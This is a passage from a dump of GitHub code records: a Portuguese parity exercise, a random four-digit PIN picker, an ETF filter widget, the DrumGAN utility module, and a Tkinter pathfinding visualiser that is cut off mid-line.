inteiro\ne mostre na tela se ela é par ou impar.\n'''\nimport color\nnumero = int(input('Digite um número inteiro: '))\nresultado = numero % 2\n\nif resultado == 0:\n print(\"{} O número {} é PAR {} \".format(color.cor['azul'],numero,color.cor['limpa']))\nelse:\n print(\"{} O número {} é ÍMPAR {} \".format(color.cor['vermelho'],numero, color.cor['limpa']))","repo_name":"BrunoNascimentoBarbosa/pythonCurso","sub_path":"desafio_30.py","file_name":"desafio_30.py","file_ext":"py","file_size_in_byte":398,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"28307042467","text":"from random import choice\n\ndef Ler():\n\twith open('numeros.txt', 'w+') as file:\n\t\tfor i in range(1000, 10000):\n\t\t\tfile.write(str(i)+'\\n')\n\treturn\n\t\ndef Copia():\n\t\tlista = []\n\t\twith open('numeros.txt', 'r') as file:\n\t\t\tsenha = file.readlines()\n\t\t\tlista.append(senha)\n\t\treturn lista\n\ndef Impr(lista):\n\tfor i in lista:\n\t\tvalor = choice(i)\n\t\tprint(f'O PIN gerado: {valor}')\n\treturn\n\nLer()\nlista = Copia()\nImpr(lista)","repo_name":"argosmaia/UERJ-python","sub_path":"BRUTEFORCEPIN.py","file_name":"BRUTEFORCEPIN.py","file_ext":"py","file_size_in_byte":411,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"5203046904","text":"import ipywidgets as widgets\nimport pandas as pd\n# import bql\n# bq = bql.Service()\n\nclass ETFFilter():\n def __init__(self, etf_fields):\n \"\"\"Creates the dropdowns to filter the ETFs by a given fields list.\n\n :param etf_fields: List of tuples with all the fields from BQL of relevant \\\n ETF information and a description.\n :type etf_fields: list\n \"\"\"\n self.etf_fields = etf_fields\n self.callbacks = {\n 'on_filter_click': None\n }\n\n self.selects = [self.create_select(field[0]) for field in etf_fields]\n\n filter_button = self.create_filter_button()\n clear_button = self.create_clear_button()\n\n accordion = widgets.Accordion(\n children=self.selects,\n selected_index=None,\n )\n for i, field in enumerate(etf_fields):\n accordion.set_title(i, field[1])\n \n container = widgets.Accordion(\n children=[widgets.VBox([clear_button, accordion, filter_button])],\n selected_index=None,\n )\n container.set_title(0, 'Filtrar ETFs')\n\n self.component = container\n\n def create_select(self, field):\n \"\"\"Returns a multiple select widget with all the options \\\n available of a given ETF field, and displays the amount \\\n of ETFs with that option.\n\n :param field: BQL field name.\n :type field: string\n :return: The multiple select widget.\n :rtype: ipywidgets.SelectMultiple\n \"\"\"\t\t\"\"\"\"\"\"\n # res = bq.execute(\"\"\"\n # get(COUNT(GROUP(ID, by=%s)).VALUE AS #COUNT) \n # for(filter(\n # FUNDSUNIV(['active', 'primary']), \n # FUND_TYP=='ETF' \n # and EXCH_CODE=='BZ'\n # ))\n # \"\"\"%field)\n\n # df = res[0].df()\n # df.to_csv('./data/fields/%s.csv'%(field))\n df = pd.read_csv('./data/fields/%s.csv'%(field), index_col=0)\n\n options = [\n (\"%s (%s)\"%(index, df.loc[index, '#COUNT']), index) \n for index in df.index.tolist()\n ]\n select = widgets.SelectMultiple(\n options=options,\n description='',\n disabled=False\n )\n \n return select\n\n def create_filter_button(self):\n \"\"\"Creates a button that applies the selected filters.\n\n :return: The button widget.\n :rtype: ipywidgets.Button\n \"\"\"\n filter_button = widgets.Button(\n description='Aplicar',\n disabled=False,\n button_style='info', \n tooltip='Filtrar',\n icon='check' \n )\n filter_button.layout.width = \"100%\"\n filter_button.layout.margin = \"10px 0 0 0\"\n\n def on_button_clicked(sender):\n filters = []\n for i, field in enumerate(self.etf_fields):\n filters.append({\n \"field\": field[0],\n \"value\": self.selects[i].value\n })\n if self.callbacks['on_filter_click']:\n self.callbacks['on_filter_click'](filters)\n \n filter_button.on_click(on_button_clicked)\n\n return filter_button\n\n def create_clear_button(self):\n \"\"\"Creates a button widget that clears all the selected \\\n filter options.\n\n :return: The button widget.\n :rtype: ipywidgets.HBox\n \"\"\"\n clear_button = widgets.Button(\n description='Limpar Filtros',\n disabled=False,\n button_style='warning', \n tooltip='Filtrar',\n icon='trash'\n )\n clear_button.layout.margin = \"0 0 10px 0\"\n\n def on_clear_button_clicked(sender):\n for i in range(len(self.selects)):\n self.selects[i].value = []\n \n clear_button.on_click(on_clear_button_clicked)\n clear_button_container = widgets.HBox(\n children = [clear_button], \n layout = widgets.Layout(display='flex', justify_content='flex-end'))\n\n return clear_button_container\n \n def set_callback(self, method, func):\n \"\"\"Sets a callback to the component.\n\n :param method: The method for the callback to be setted.\n :type method: string\n :param func: The function of the callback.\n :type func: function\n \"\"\"\n self.callbacks[method] = func \n \n def show(self):\n \"\"\"Returns the component to be visualized\n \"\"\"\n return self.component\n","repo_name":"caaso-quant/etfs-monitor-public","sub_path":"components/etf_filter.py","file_name":"etf_filter.py","file_ext":"py","file_size_in_byte":4540,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"2827185102","text":"import os\nimport numpy as np\nimport time\nimport json\nfrom math import inf\nfrom librosa.output import write_wav\nimport torch\nfrom torch.nn.functional import interpolate\nfrom numpy import random\nfrom datetime import datetime\n\n\ndef get_date():\n return datetime.now().strftime('%y_%m_%d')\n\ndef checkexists_mkdir(path):\n if not os.path.exists(path):\n os.mkdir(path)\n return False\n else:\n return True\n\ndef mkdir_in_path(path, dirname):\n dirpath = os.path.join(path, dirname)\n checkexists_mkdir(dirpath)\n return dirpath\n\ndef read_json(path):\n assert path.endswith('.json'), \\\n f\"Path {path} is not a JSON file.\"\n assert os.path.exists(path), \\\n f\"Path {path} doesn't exist!\"\n with open(path) as file:\n data = json.load(file)\n file.close()\n return data\n\ndef filter_files_in_path(dir_path, format='.wav'):\n return filter(lambda x: x.endswith(format), os.listdir(dir_path))\n\ndef list_files_abs_path(dir_path, format='.wav'):\n return [os.path.join(os.path.abspath(dir_path), x) for x in filter_files_in_path(dir_path, format)]\n\ndef filter_keys_in_strings(strings, keys):\n return filter(lambda x: any([k in x for k in keys]), strings)\n\ndef get_filename(abs_path):\n return os.path.splitext(os.path.basename(abs_path))[0]\n\ndef isinf(tensor):\n r\"\"\"Returns a new tensor with boolean elements representing if each element\n is `+/-INF` or not.\n\n Arguments:\n tensor (Tensor): A tensor to check\n\n Returns:\n Tensor: A ``torch.ByteTensor`` containing a 1 at each location of\n `+/-INF` elements and 0 otherwise\n\n Example::\n\n >>> torch.isinf(torch.Tensor([1, float('inf'), 2,\n float('-inf'), float('nan')]))\n tensor([ 0, 1, 0, 1, 0], dtype=torch.uint8)\n \"\"\"\n if not isinstance(tensor, torch.Tensor):\n raise ValueError(\"The argument is not a tensor\", str(tensor))\n return tensor.abs() == inf\n\n\ndef isnan(tensor):\n r\"\"\"Returns a new tensor with boolean elements representing if each element\n is `NaN` or not.\n\n Arguments:\n tensor (Tensor): A tensor to check\n\n Returns:\n Tensor: A ``torch.ByteTensor`` containing a 1 at each location of `NaN`\n elements.\n\n Example::\n\n >>> torch.isnan(torch.tensor([1, float('nan'), 2]))\n tensor([ 0, 1, 0], dtype=torch.uint8)\n \"\"\"\n if not isinstance(tensor, torch.Tensor):\n raise ValueError(\"The argument is not a tensor\", str(tensor))\n return tensor != tensor\n\n\ndef finiteCheck(parameters):\n if isinstance(parameters, torch.Tensor):\n parameters = [parameters]\n parameters = list(filter(lambda p: p.grad is not None, parameters))\n\n for p in parameters:\n infGrads = isinf(p.grad.data)\n p.grad.data[infGrads] = 0\n\n nanGrads = isnan(p.grad.data)\n p.grad.data[nanGrads] = 0\n\n\ndef prepareClassifier(module, outFeatures):\n\n model = module()\n inFeatures = model.fc.in_features\n model.fc = torch.nn.Linear(inFeatures, outFeatures)\n\n return model\n\n\ndef getMinOccurence(inputDict, value, default):\n\n keys = list(inputDict.keys())\n outKeys = [x for x in keys if x <= value]\n outKeys.sort()\n\n if len(outKeys) == 0:\n return default\n\n return inputDict[outKeys[-1]]\n\n\ndef getNameAndPackage(strCode):\n\n if strCode == 'PGAN':\n return \"progressive_gan\", \"ProgressiveGAN\"\n\n if strCode == 'PPGAN':\n return \"pp_gan\", \"PPGAN\"\n\n if strCode == \"DCGAN\":\n return \"DCGAN\", \"DCGAN\"\n\n if strCode == \"StyleGAN\":\n return \"style_progressive_gan\", \"StyleProgressiveGAN\"\n\n raise ValueError(\"Unrecognized code \" + strCode)\n\n\ndef parse_state_name(path):\n r\"\"\"\n Parse a file name with the given pattern:\n pattern = ($model_name)_s($scale)_i($iteration).pt\n\n Returns: None if the path doesn't fulfill the pattern\n \"\"\"\n path = os.path.splitext(os.path.basename(path))[0]\n\n data = path.split('_')\n\n if len(data) < 3:\n return None\n\n # Iteration\n if data[-1][0] == \"i\" and data[-1][1:].isdigit():\n iteration = int(data[-1][1:])\n else:\n return None\n\n if data[-2][0] == \"s\" and data[-2][1:].isdigit():\n scale = int(data[-2][1:])\n else:\n return None\n\n name = \"_\".join(data[:-2])\n\n return name, scale, iteration\n\n\ndef parse_config_name(path):\n r\"\"\"\n Parse a file name with the given pattern:\n pattern = ($model_name)_train_config.json\n\n Raise an error if the pattern doesn't match\n \"\"\"\n\n path = os.path.basename(path)\n\n if len(path) < 18 or path[-18:] != \"_train_config.json\":\n raise ValueError(\"Invalid configuration path\")\n\n return path[:-18]\n\n\ndef getLastCheckPoint(dir, name, scale=None, iter=None):\n r\"\"\"\n Get the last checkpoint of the model with name @param name detected in the\n directory (@param dir)\n\n Returns:\n trainConfig, pathModel, pathTmpData\n\n trainConfig: path to the training configuration (.json)\n pathModel: path to the model's weight data (.pt)\n pathTmpData: path to the temporary configuration (.json)\n \"\"\"\n trainConfig = os.path.join(dir, name + \"_train_config.json\")\n if scale == -1:\n scale = None\n if iter == -1:\n iter = None\n\n if not os.path.isfile(trainConfig):\n print(\"Checkpoint not found!\")\n print(f\"Training config file {trainConfig} does not exits!\")\n return None\n\n listFiles = [f for f in os.listdir(dir) if (\n os.path.splitext(f)[1] == \".pt\" and\n parse_state_name(f) is not None and\n parse_state_name(f)[0] == name)]\n\n if scale is not None:\n listFiles = [f for f in listFiles if parse_state_name(f)[1] == scale]\n\n if iter is not None:\n listFiles = [f for f in listFiles if parse_state_name(f)[2] == iter]\n\n listFiles.sort(reverse=True, key=lambda x: (\n parse_state_name(x)[1], parse_state_name(x)[2]))\n\n if len(listFiles) == 0:\n print(\"Checkpoint not found!\")\n print(f\"No files found for scale {scale} and iter {iter}\")\n return None\n\n pathModel = os.path.join(dir, listFiles[0])\n pathTmpData = os.path.splitext(pathModel)[0] + \"_tmp_config.json\"\n\n if not os.path.isfile(pathTmpData):\n print(\"Checkpoint not found!\")\n print(f\"Tmp configuration {pathTmpData} not found!\")\n return None\n print(f\"Loading model {name}, at iter {iter}; scale {scale}\")\n return trainConfig, pathModel, pathTmpData\n\n\ndef getVal(kwargs, key, default):\n\n out = kwargs.get(key, default)\n if out is None:\n return default\n\n return out\n\n\ndef toStrKey(item):\n\n if item is None:\n return \"\"\n\n out = \"_\" + str(item)\n out = out.replace(\"'\", \"\")\n return out\n\n\ndef num_flat_features(x):\n size = x.size()[1:] # all dimensions except the batch dimension\n num_features = 1\n for s in size:\n num_features *= s\n return num_features\n\n\ndef printProgressBar(iteration,\n total,\n prefix='',\n suffix='',\n decimals=1,\n length=100,\n fill='#'):\n \"\"\"\n Call in a loop to create terminal progress bar\n @params:\n iteration - Required : current iteration (Int)\n total - Required : total iterations (Int)\n prefix - Optional : prefix string (Str)\n suffix - Optional : suffix string (Str)\n decimals - Optional : positive number of decimals in percent\n complete (Int)\n length - Optional : character length of bar (Int)\n fill - Optional : bar fill character (Str)\n \"\"\"\n percent = (\"{0:.\" + str(decimals) + \"f}\").format(100 *\n (iteration / float(total)))\n filledLength = int(length * iteration // total)\n bar = fill * filledLength + '-' * (length - filledLength)\n print('\\r%s |%s| %s%% %s' % (prefix, bar, percent, suffix), end='\\r')\n # Print New Line on Complete\n if iteration == total:\n print()\n\n\ndef loadPartOfStateDict(module, state_dict, forbiddenLayers=None):\n r\"\"\"\n Load the input state dict to the module except for the weights corresponding\n to one of the forbidden layers\n \"\"\"\n own_state = module.state_dict()\n if forbiddenLayers is None:\n forbiddenLayers = []\n for name, param in state_dict.items():\n if name.split(\".\")[0] in forbiddenLayers:\n continue\n if isinstance(param, torch.nn.Parameter):\n # backwards compatibility for serialized parameters\n param = param.data\n\n own_state[name].copy_(param)\n\n\ndef loadStateDictCompatible(module, state_dict):\n r\"\"\"\n Load the input state dict to the module except for the weights corresponding\n to one of the forbidden layers\n \"\"\"\n own_state = module.state_dict()\n for name, param in state_dict.items():\n if 'module' in name[:7]:\n name = name[7:]\n if isinstance(param, torch.nn.Parameter):\n # backwards compatibility for serialized parameters\n param = param.data\n\n if name in own_state:\n own_state[name].copy_(param)\n continue\n\n # Else see if the input name is a prefix\n suffixes = [\"bias\", \"weight\"]\n found = False\n for suffix in suffixes:\n indexEnd = name.find(suffix)\n if indexEnd > 0:\n newKey = name[:indexEnd] + \"module.\" + suffix\n if newKey in own_state:\n own_state[newKey].copy_(param)\n found = True\n break\n\n if not found:\n raise AttributeError(\"Unknow key \" + name)\n\n\ndef loadmodule(package, name, prefix='..'):\n r\"\"\"\n A dirty hack to load a module from a string input\n\n Args:\n package (string): package name\n name (string): module name\n\n Returns:\n A pointer to the loaded module\n \"\"\"\n strCmd = \"from \" + prefix + package + \" import \" + name + \" as module\"\n exec(strCmd)\n return eval('module')\n\n\ndef saveScore(outPath, outValue, *args):\n\n flagPath = outPath + \".flag\"\n\n while os.path.isfile(flagPath):\n time.sleep(1)\n\n open(flagPath, 'a').close()\n\n if os.path.isfile(outPath):\n with open(outPath, 'rb') as file:\n outDict = json.load(file)\n if not isinstance(outDict, dict):\n outDict = {}\n else:\n outDict = {}\n\n fullDict = outDict\n\n for item in args[:-1]:\n if str(item) not in outDict:\n outDict[str(item)] = {}\n outDict = outDict[str(item)]\n\n outDict[args[-1]] = outValue\n\n with open(outPath, 'w') as file:\n json.dump(fullDict, file, indent=2)\n\n os.remove(flagPath)\n\ndef GPU_is_available():\n cuda_available = torch.cuda.is_available()\n if not cuda_available: print(\"Cuda not available. Running on CPU\")\n return cuda_available\n\ndef get_device():\n return torch.device('cuda' if GPU_is_available() else 'cpu')\n\n\ndef load_model_checkp(dir, iteration=None, scale=None, **kwargs):\n # Loading the modelPackage\n name = os.path.basename(dir)\n config_path = os.path.join(dir, f'{name}_config.json')\n \n assert os.path.exists(dir), f\"Cannot find {dir}\"\n assert os.path.isfile(config_path), f\"Config file {config_path} not found\"\n assert name is not None, f\"Name {name} is not valid\"\n\n checkp_data = getLastCheckPoint(dir, name, scale=scale, iter=iteration)\n \n validate_checkpoint_data(\n checkp_data, dir, scale, iteration, name)\n\n modelConfig_path, pathModel, _ = checkp_data\n model_config = read_json(modelConfig_path)\n config = read_json(config_path)\n \n name, obj = getNameAndPackage(config['arch'])\n gan_module = loadmodule(\"gans\", obj, prefix='')\n model = gan_module(useGPU=True if GPU_is_available else False,\n storeAVG=False,\n **model_config)\n\n if scale is None or iteration is None:\n _, scale, iteration = parse_state_name(pathModel)\n\n print(f\"Checkpoint found at scale {scale}, iter {iteration}\")\n model.load(pathModel)\n\n model_name = get_filename(pathModel)\n return model, config, model_name\n\ndef validate_checkpoint_data(checkp_data, checkp_dir, scale, iter, name):\n if checkp_data is None:\n if scale is not None or iter is not None:\n raise FileNotFoundError(f\"No checkpoint found for model {name} \\\n at directory {checkp_dir} for scale {scale} at \\\n iteration {iter}\")\n \n raise FileNotFoundError(\n f\"No checkpoint found for model {name} at directory {checkp_dir}\")\n\n \ndef saveAudioBatch(data, path, basename, sr=16000, overwrite=False):\n from librosa.util.utils import ParameterError\n try:\n for i, audio in enumerate(data):\n\n if type(audio) != np.ndarray:\n audio = np.array(audio, float)\n\n out_path = os.path.join(path, f'{basename}_{i}.wav')\n \n if not os.path.exists(out_path) or overwrite:\n write_wav(out_path, audio.astype(float), sr)\n else:\n print(f\"saveAudioBatch: File {out_path} exists. Skipping...\")\n continue\n except ParameterError as pe:\n print(pe)\n\nclass ResizeWrapper():\n def __init__(self, new_size):\n self.size = new_size\n def __call__(self, image):\n assert np.argmax(self.size) == np.argmax(image.shape[-2:]), \\\n f\"Resize dimensions mismatch, Target shape {self.size} \\\n != image shape {image.shape}\"\n if type(image) is not np.ndarray:\n image = image.cpu().numpy()\n out = interpolate(torch.from_numpy(image).unsqueeze(0), size=self.size).squeeze(0)\n return out\n\ndef get_trainer(name):\n\n match = {\"PGAN\": (\"progressive_gan_trainer\", \"ProgressiveGANTrainer\"),\n \"StyleGAN\":(\"styleGAN_trainer\", \"StyleGANTrainer\"),\n \"TStyleGAN\":(\"transform_styleGAN_trainer\", \"TStyleGANTrainer\"),\n \"DCGAN\": (\"DCGAN_trainer\", \"DCGANTrainer\")}\n\n if name not in match:\n raise AttributeError(f\"Invalid module name \\\n Available: {match.keys()}\")\n\n return loadmodule(\"gans.\" + match[name][0],\n match[name][1],\n prefix='')\n\ndef get_loader(name):\n match = {\"nsynth\": \"NSynth\",\n \"mtg-drums\": \"MTGDrums\",\n \"youtube-pianos\": \"YouTubePianos\",\n \"csl-drums\": \"CSLDrums\",\n \"sinewaves\": \"Sinewaves\"}\n\n if name not in match:\n raise AttributeError(f\"Invalid module name. \\\n Available: {match.keys()}\")\n\n return loadmodule(\"data.loaders\",\n match[name],\n prefix='')\n\n\ndef get_visualization_manager(name):\n match = {\"waveform\": (\"progressive_gan_trainer\", \"ProgressiveGANTrainer\"),\n \"StyleGAN\":(\"styleGAN_trainer\", \"StyleGANTrainer\"),\n \"DCGAN\": (\"DCGAN_trainer\", \"DCGANTrainer\")}\n\n if name not in match:\n raise AttributeError(\"Invalid module name\")\n\n return loadmodule(\"models.trainer.\" + match[name][0],\n match[name][1],\n prefix='')\n\ndef getDataManager(dataConfig):\n match = {\"image\": \"ImageDataManager\",\n \"audio\": \"AudioDataManager\"}\n name = dataConfig.get(\"data_type\", None)\n if name not in match:\n raise AttributeError(f\"Invalid data module name: {name}\")\n return loadmodule(\"models.datasets.datamanager\",\n match[name],\n prefix='')\n\n\ndef init_seed(rand_seed=True):\n if not rand_seed:\n seed = random.randint(0, 9999)\n else:\n seed = 0\n\n random.seed(seed)\n torch.manual_seed(seed)\n\n if GPU_is_available():\n torch.cuda.manual_seed_all(rand_seed)\n print(\"Random Seed: \", rand_seed)\n print()\n\ndef load_config_file(config_path):\n if config_path is None:\n raise ValueError(\"You need to input a configuratrion file\")\n with open(config_path, 'rb') as file:\n return json.load(file)\n\ndef save_json(json_file, output_path):\n with open(output_path, 'w') as file:\n outfile = json.dump(json_file, file, indent=4)\n file.close()\n return outfile\n\ndef librosaSpec(data):\n from librosa.core import resample, stft\n from librosa import amplitude_to_db, magphase\n\n spectrum = stft(data)\n mag, ph = magphase(spectrum)\n return amplitude_to_db(mag), np.angle(ph)\n","repo_name":"SonyCSLParis/DrumGAN","sub_path":"utils/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":16588,"program_lang":"python","lang":"en","doc_type":"code","stars":89,"dataset":"github-code","pt":"21"} +{"seq_id":"29258638125","text":"from tkinter import messagebox\nfrom tkinter import *\nfrom queue import PriorityQueue\nfrom collections import deque\nimport time\nimport threading\n\n#global vars\nWIDTH = 600\nROWS = 25\ngrid = []\ntickTime = 0.03\n\n\nclass myGui:\n @classmethod\n def getVal(cls, canvas, root, radio, button, selectedalg):\n cls.canvas = canvas\n cls.root = root\n cls.radio = radio\n cls.button = button\n cls.selectedalg = selectedalg\n\n\nclass Node(myGui):\n\n start_point = None\n end_point = None\n\n __slots__ = ['button', 'row', 'col', 'width', 'neighbors', 'g', 'h', 'f',\n 'parent', 'start', 'end', 'barrier', 'clicked', 'total_rows']\n\n def __init__(self, row, col, width, offset, total_rows):\n self.button = Button(myGui.canvas, command=lambda a=row, b=col: self.click(a, b),\n bg='white', bd=2, relief=GROOVE)\n\n self.row = row\n self.col = col\n self.width = width\n\n self.button.place(x=row * width + offset, y=col *\n width + offset, height=width, width=width)\n\n self.neighbors = []\n self.g = float('inf')\n self.h = 0\n self.f = float('inf')\n self.parent = None\n self.start = False\n self.end = False\n self.barrier = False\n self.clicked = False\n self.total_rows = total_rows\n\n def make_start(self):\n self.button.config(bg=\"forest green\")\n self.start = True\n self.clicked = True\n Node.start_point = (self.col, self.row)\n\n def make_end(self):\n self.button.config(bg=\"DarkOrange2\")\n self.end = True\n self.clicked = True\n Node.end_point = (self.col, self.row)\n\n def make_barrier(self):\n self.button.config(bg=\"black\")\n self.barrier = True\n self.clicked = True\n\n def reset_barrier(self):\n self.button.config(bg=\"white\")\n self.barrier = False\n self.clicked = False\n\n def reset(self):\n self.button.config(bg=\"white\")\n self.clicked = False\n\n def make_path(self):\n self.button.config(bg=\"gold\")\n\n def make_to_visit(self):\n self.button.config(bg=\"purple\")\n\n def make_open(self):\n self.button.config(bg='yellow green')\n\n def make_closed(self):\n self.button.config(bg='LightSkyBlue2')\n\n def enable(self):\n self.button.config(state=NORMAL)\n\n def disable(self):\n self.button.config(state=DISABLED)\n\n def click(self, row, col):\n if self.button['state'] == 'normal':\n if self.clicked == False:\n if not Node.start_point:\n self.make_start()\n elif not Node.end_point:\n self.make_end()\n else:\n self.make_barrier()\n else:\n self.reset()\n if self.start == True:\n self.start = False\n Node.start_point = None\n elif self.end == True:\n self.end = False\n Node.end_point = None\n else:\n self.barrier = False\n else:\n pass\n\n def generate_prebuilt_maze():\n Reset()\n for i in range(0, 25):\n grid[i][0].make_barrier()\n grid[0][i].make_barrier()\n grid[i][24].make_barrier()\n grid[24][i].make_barrier()\n\n grid[14][21].make_barrier()\n grid[22][3].make_barrier()\n grid[22][5].make_barrier()\n grid[14][9].make_barrier()\n grid[21][17].make_barrier()\n\n for i in range(9, 24):\n if(i != 11 and i != 13 and i != 17):\n grid[i][18].make_barrier()\n for i in range(1, 24):\n if(i == 13 or i == 14 or i == 15 or i == 22):\n grid[i][2].make_barrier()\n if(i != 3 and i != 9 and i != 17 and i != 19):\n grid[i][4].make_barrier()\n if(i == 3 or i == 14 or i == 15 or i == 22):\n grid[i][6].make_barrier()\n if(i != 5 and i != 7 and i != 11 and i != 13 and i != 15 and i != 17 and i != 23):\n grid[i][8].make_barrier()\n if(i != 1 and i != 5 and i != 7 and i != 17):\n grid[i][10].make_barrier()\n if(i == 3 or i == 11 or i == 14 or i == 17 or i == 22):\n grid[i][12].make_barrier()\n if(i == 14 or i == 22):\n grid[i][13].make_barrier()\n if(i == 3 or i == 5 or i == 11 or i == 13 or i == 14 or i == 22 or i == 23):\n grid[i][14].make_barrier()\n if(i == 13 or i == 14 or i == 21):\n grid[i][16].make_barrier()\n if(i != 1 and i != 3 and i != 9 and i != 17 and i != 23):\n grid[i][20].make_barrier()\n if(i == 3 or i == 9 or i == 14 or i == 22 or i == 23):\n grid[i][22].make_barrier()\n\n if(i != 1 and i != 7 and i != 13 and i != 13 and i != 21 and i != 23):\n grid[2][i].make_barrier()\n if(i != 5 and i != 7 and i != 9 and i != 11 and i != 19 and i != 21):\n grid[4][i].make_barrier()\n if(i != 1 and i != 5 and i != 19 and i != 23):\n grid[6][i].make_barrier()\n if(i != 1 and i != 19 and i != 23):\n grid[8][i].make_barrier()\n if(i != 1 and i != 7 and i != 9 and i != 11 and i != 19 and i != 21):\n grid[10][i].make_barrier()\n if(i != 7 and i != 11 and i != 13 and i != 17 and i != 23):\n grid[12][i].make_barrier()\n if(i != 1 and i != 3 and i != 7 and i != 11 and i != 13):\n grid[16][i].make_barrier()\n if(i != 9 and i != 11 and i != 19 and i != 23):\n grid[18][i].make_barrier()\n if(i != 1 and i != 5 and i != 9 and i != 11 and i != 17 and i != 19):\n grid[20][i].make_barrier()\n\n def generate_prebuilt_maze1():\n Reset()\n for i in range(0, 25):\n grid[i][0].make_barrier()\n grid[0][i].make_barrier()\n grid[i][24].make_barrier()\n grid[24][i].make_barrier()\n\n for i in range(1, 8):\n for j in range(2, 25, 2):\n grid[j][i].make_barrier()\n for k in range(9, 18, 2):\n grid[i][k].make_barrier()\n\n for i in range(19, 24):\n for j in range(2, 23, 2):\n grid[j][i].make_barrier()\n\n for i in range(17, 24):\n for j in range(9, 18, 2):\n grid[i][j].make_barrier()\n\n for i in range(9, 18):\n grid[9][i].make_barrier()\n grid[15][i].make_barrier()\n\n for i in range(11, 16):\n grid[11][i].make_barrier()\n grid[13][i].make_barrier()\n\n for i in range(11, 14):\n grid[i][9].make_barrier()\n grid[i][17].make_barrier()\n\n def update_neighbors(self, grid):\n self.neighbors = []\n\n # check neighbors a row down - if not outside grid and not barrier\n if self.row < (self.total_rows - 1) and not grid[self.row + 1][self.col].barrier:\n # add this node to neighbor list\n self.neighbors.append(grid[self.row + 1][self.col])\n\n # check neighbors a row up - if not outside grid and not barrier\n if self.row > 0 and not grid[self.row - 1][self.col].barrier:\n self.neighbors.append(grid[self.row - 1][self.col])\n\n # check neighbors a col right:\n if self.col < (self.total_rows - 1) and not grid[self.row][self.col + 1].barrier:\n self.neighbors.append(grid[self.row][self.col + 1])\n\n # check neighbors a col left:\n if self.col > 0 and not grid[self.row][self.col - 1].barrier:\n self.neighbors.append(grid[self.row][self.col - 1])\n\n\n# to make grid in our canvas window\ndef make_grid(width, rows):\n gap = width // rows\n offset = 2\n for i in range(rows):\n grid.append([])\n for j in range(rows):\n node = Node(i, j, gap, offset, rows)\n grid[i].append(node)\n return grid\n\n\ndef h(a, b):\n # heuristic function - manhatten distance\n return abs(a.row - b.row) + abs(a.col - b.col)\n\n# To reset the whole canvas state:\n\n\ndef Reset():\n global grid\n\n Node.start_point = None\n Node.end_point = None\n\n for row in grid:\n for node in row:\n node.reset()\n node.neighbors = []\n node.g = float('inf')\n node.h = 0\n node.f = float('inf')\n node.parent = None\n node.start = False\n node.end = False\n node.barrier = False\n node.enable()\n\n\ndef reconstruct_path(node, tickTime):\n current = node\n while current.start == False:\n parent = current.parent\n\n parent.make_path()\n myGui.root.update_idletasks()\n t = threading.Thread(target=time.sleep(tickTime))\n t.start()\n t.join()\n\n current = parent\n\n\ndef breadth_first(grid, tickTime):\n\n start = grid[Node.start_point[1]][Node.start_point[0]]\n end = grid[Node.end_point[1]][Node.end_point[0]]\n\n open_set = deque()\n\n open_set.append(start)\n visited_hash = {start}\n\n while len(open_set) > 0:\n current = open_set.popleft()\n\n # found end?\n if current == end:\n reconstruct_path(end, tickTime)\n\n # draw end and start again\n end.make_end()\n start.make_start()\n return\n\n # if not end - consider all neighbors of current Node to choose next step\n for neighbor in current.neighbors:\n if neighbor not in visited_hash:\n neighbor.parent = current\n visited_hash.add(neighbor)\n open_set.append(neighbor)\n neighbor.make_open()\n\n # draw updated grid with new open_set\n myGui.root.update_idletasks()\n t = threading.Thread(target=time.sleep(tickTime))\n t.start()\n t.join()\n\n if current != start:\n current.make_closed()\n\n # didn't find path\n messagebox.showinfo(\"No Solution\", \"There was no solution\")\n\n return False\n\n\ndef depth_first(grid, tickTime):\n start = grid[Node.start_point[1]][Node.start_point[0]]\n end = grid[Node.end_point[1]][Node.end_point[0]]\n\n open_set = deque([])\n open_set.append(start)\n visited_hash = {start}\n\n while len(open_set) > 0:\n current = open_set.pop()\n\n # found end?\n if current == end:\n reconstruct_path(end, tickTime)\n\n # draw end and start again\n end.make_end()\n start.make_start()\n return\n\n # if not end - consider all neighbors of current Node to choose next step\n if current not in visited_hash:\n visited_hash.add(current)\n\n for neighbor in current.neighbors:\n\n if neighbor not in visited_hash:\n neighbor.parent = current\n # visited_hash.add(neighbor)\n open_set.append(neighbor)\n neighbor.make_open()\n\n # draw updated grid with new open_set\n myGui.root.update_idletasks()\n t = threading.Thread(target=time.sleep(tickTime))\n t.start()\n t.join()\n\n if current != start:\n current.make_closed()\n\n return False\n\n\ndef djkstra(grid, tickTime):\n\n count = 0\n start = grid[Node.start_point[1]][Node.start_point[0]]\n end = grid[Node.end_point[1]][Node.end_point[0]]\n\n open_set = PriorityQueue()\n open_set_hash = {}\n\n open_set.put((0, count, start))\n\n start.g = 0\n\n open_set_hash = {start}\n\n while not open_set.empty():\n current = open_set.get()[2]\n open_set_hash.remove(current)\n\n if current == end:\n reconstruct_path(end, tickTime)\n\n # draw end and start again\n end.make_end()\n start.make_start()\n\n # enable UI frame\n for child in myGui.radio.winfo_children():\n child.configure(state='normal')\n for child in myGui.button.winfo_children():\n child.configure(state='normal')\n return True\n\n for neighbor in current.neighbors:\n temp_g_score = current.g + 1\n\n if temp_g_score < neighbor.g:\n neighbor.parent = current\n neighbor.g = temp_g_score\n\n if neighbor not in open_set_hash:\n count += 1\n open_set.put((neighbor.g, count, neighbor))\n open_set_hash.add(neighbor)\n neighbor.make_open()\n\n myGui.root.update_idletasks()\n t = threading.Thread(target=time.sleep(tickTime))\n t.start()\n t.join()\n\n if current != start:\n current.make_closed()\n\n return FALSE\n\n\ndef a_star(grid, tickTime):\n\n count = 0\n start = grid[Node.start_point[1]][Node.start_point[0]]\n end = grid[Node.end_point[1]][Node.end_point[0]]\n\n # create open_set\n open_set = PriorityQueue()\n\n # add start in open_set with f_score = 0 and count as one item\n open_set.put((0, count, start))\n\n # put g_score for start to 0\n start.g = 0\n\n # calculate f_score for start using heuristic function\n start.f = h(start, end)\n\n # create a dict to keep track of nodes in open_set, can't check PriorityQueue\n open_set_hash = {start}\n\n # if open_set is empty - all possible nodes are considered, path doesn't exist\n while not open_set.empty():\n\n # popping the Node with lowest f_score from open_set\n # if score the same, then whatever was inserted first - PriorityQueue\n # popping [2] - Node itself\n current = open_set.get()[2]\n # syncronise with dict\n open_set_hash.remove(current)\n\n # found end?\n if current == end:\n reconstruct_path(end, 